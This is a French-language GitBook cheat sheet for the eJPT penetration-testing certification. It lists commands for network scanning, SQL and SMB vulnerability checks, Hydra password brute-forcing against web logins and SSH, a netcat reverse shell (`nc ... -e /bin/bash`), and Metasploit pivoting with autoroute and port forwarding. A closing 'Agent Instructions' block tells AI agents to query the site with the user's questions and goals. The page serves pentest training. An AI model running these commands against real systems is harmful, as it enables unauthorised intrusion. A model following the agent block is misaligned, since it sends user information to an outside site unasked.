> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/useful-resources/certifications/ejpt-certification-practical-guide.md).

# Guide pratique de la certification eJPT

Notes de préparation à la certification eJPT, méthodologie pratique, commandes et ressources pour les workflows de pentest junior.

{% hint style="danger" %}
Le **eJPT (eLearnSecurity Junior Penetration Tester)** est une certification d'entrée dans le pentest proposée par eLearnSecurity. Elle valide les compétences fondamentales en tests d'intrusion, notamment la reconnaissance des vulnérabilités, l'exploitation et l'après-exploitation. L'examen est **pratique** et consiste à compromettre un environnement simulé, ce qui le rend idéal pour les débutants souhaitant démontrer leurs compétences en cybersécurité offensive.
{% endhint %}

{% embed url="<https://security.ine.com/certifications/ejpt-certification/>" %}

## Reconnaissance

### **Analyse du réseau**

Analyse des équipements sur un réseau :

```bash
nmap -sn 10.10.10.10/24
arp-scan -l
masscan 10.10.10.10/24 -p1-65535 --rate=10000
```

Analyse des ports ouverts sur des équipements spécifiques :

{% code overflow="wrap" %}

```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10
rustscan -a 10.10.10.10 --ulimit 5000
```

{% endcode %}

Analyse des ports ouverts sur plusieurs appareils :

{% code overflow="wrap" %}

```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10,20,30,36 -oG allPorts
```

{% endcode %}

Extraction des ports ouverts :

{% code overflow="wrap" %}

```bash
grep '[0-9]' allPorts | cut -d '/' -f1 | sort -u | xargs | tr ' '  ','
```

{% endcode %}

* Exemple de sortie : `22,80,135,445,9543,2214`

Analyse détaillée des versions des services détectés :

```bash
nmap --open -sCV -p 22,80,135,445,9543,2214 10.10.10.10,20,30,36 -oN targeted
```

**Balayage ping sur un réseau Linux**

```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
```

### **Analyse des vulnérabilités**

Analyse des vulnérabilités web avec Nikto :

```bash
nikto -url http://website.com
```

Détection des vulnérabilités SQL avec SQLmap :

```bash
sqlmap -r request --dbs
```

Analyse des vulnérabilités SMB :

```bash
nmap -p445 --script"smb-vuln-*" 10.10.10.10
enum4linux -a 10.10.10.10
crackmapexec smb 10.10.10.10 --shares
```

## Exploitation

#### **Attaque par force brute avec Hydra**

**Panneau de connexion :**

{% code overflow="wrap" %}

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/admin/admin.php:username=^USER^&password=^PASS^:Incorrect" -t 64 -F
```

{% endcode %}

**Force brute SSH avec Hydra :**

```bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
```

## Metasploit – pivoting et post-exploitation

### Reverse shell Metasploit

**Utilisation de Metasploit pour obtenir l'accès**

```bash
msfconsole
```

Configuration du listener :

```bash
use multi/handler
set LHOST 10.10.10.10
set LPORT 443
run
```

Envoi d'un reverse shell avec Netcat :

```bash
nc 10.10.10.10 443 -e /bin/bash
```

Mise en arrière-plan de la session :

```bash
sessions
```

### Metasploit vers Meterpreter

**Méthode 1 - Conversion d'un shell en Meterpreter**

Chargement du module de conversion :

```bash
use shell_to_meterpreter
```

Configuration de la session et du port :

```bash
set LHOST 10.10.10.10
set lport 443
set session 1
```

Interaction avec la session Meterpreter :

```bash
sessions -i 2
```

Ajout d'une route pour accéder à un autre segment réseau :

```bash
route add 192.168.100.0/24 2
```

**Méthode 2 - Utilisation de Highway**

* Charger le `autoroute` module :

```bash
use multi/manage/autoroute
```

Configuration de la session et exécution :

```bash
set session 2
run
```

**Analyse du réseau depuis Metasploit**

* Analyse des ports d'une machine pivotée :

```bash
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.21
run
```

### **Redirection de ports Metasploit**

* Ajout d'un port redirigé pour accéder à un service distant :

```bash
sessions -i 2
portfwd add -l 8080 -p 80 -r 192.168.100.21
```

Liste des règles de redirection :

```bash
portfwd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/useful-resources/certifications/ejpt-certification-practical-guide.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
